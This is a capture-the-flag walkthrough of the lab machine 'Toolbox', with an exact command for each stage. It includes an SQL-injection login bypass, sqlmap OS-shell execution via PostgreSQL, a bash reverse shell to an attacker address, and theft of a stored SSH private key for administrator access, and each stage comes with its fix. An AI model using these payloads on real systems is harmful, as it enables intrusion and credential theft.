Toolbox
Summary
I scanned toolbox ($TARGET) and found HTTPS on port 443 serving nothing at the bare IP. Virtual-host fuzzing revealed admin.megalogistic.com — a PHP administrator login panel running inside a Docker container on a Debian/Apache stack.
A classic SQL-injection payload in the username field bypassed authentication without a valid password. Because the backend was PostgreSQL running with superuser privileges, I escalated the injection to full operating-system command execution inside the container using PostgreSQL's built-in COPY FROM PROGRAM feature.
A reverse shell gave an interactive foothold inside the Docker container. An SSH private key stored on the container's filesystem belonged to the Windows Administrator account; those credentials were reused over SSH on port 22 to connect directly to the underlying Windows host, granting full local administrator access and both flags — no further privilege escalation required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
Service-version and default-script scan of the key ports.
$ nmap -sV -sC -p 21,22,135,139,443,445,5985 --open $TARGET -oN toolbox_nmap.txtFuzz for virtual hosts on HTTPS; -k skips TLS cert validation.
$ gobuster vhost -u https://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -k -t 40 2>/dev/null | grep -v '404'Register the discovered vhost for local DNS resolution.
$ echo "$TARGET admin.megalogistic.com" | sudo tee -a /etc/hostsConfirm the admin panel is reachable and capture stack headers.
$ curl -sk -i --max-time 20 https://admin.megalogistic.com/ | head -n 30Exact commands 1
A 302 Location: dashboard.php in the response confirms the bypass succeeded.
$ curl -sk -i --resolve admin.megalogistic.com:443:$TARGET -X POST --data-urlencode "username=admin' OR '1'='1'-- -" --data-urlencode 'password=x' https://admin.megalogistic.com/ | head -n 20FixParameterise all database queries — eliminate SQL injection in the login formCritical
Exact commands 2
Fingerprint the PostgreSQL backend and confirm the exploitable injection point.
$ sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --level=3 --risk=2 --banner 2>&1 | tail -20Request an interactive OS shell; sqlmap constructs and injects the COPY FROM PROGRAM payload automatically.
$ sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --os-shellFixRevoke PostgreSQL superuser rights from the web application database accountCritical
Exact commands 2
Start the listener on my machine before triggering the payload (run in a separate terminal).
$ nc -lvnp 4444Execute this in the sqlmap os-shell prompt; replace $ATTACKER_IP with your VPN address.
$ bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"Exact commands 3
Run inside the container to locate stored SSH keys or credential files.
$ find / -name id_rsa -o -name '*.pem' -o -name 'credentials' 2>/dev/nullRead the private key — copy its full PEM block to a local file on my machine.
$ cat /root/.ssh/id_rsaConnect to the Windows host using the recovered key; filename matches what you saved locally.
$ chmod 600 administrator_id_rsa && ssh -i administrator_id_rsa administrator@$TARGETFixRemove SSH keys and plaintext credentials from Docker container filesystemsCritical
Exact commands 3
Confirm identity and host inside the Windows SSH session.
$ whoami && hostnameRead user flag — actual value is <user.txt>.
$ type C:\Users\Administrator\Desktop\user.txtRead root flag — actual value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 21/tcp | ftp FileZilla ftpd 0.9.60 beta |
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | smb recon-sweep-discovered |
| 443/tcp | https |
| 445/tcp | smb recon-sweep-discovered |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |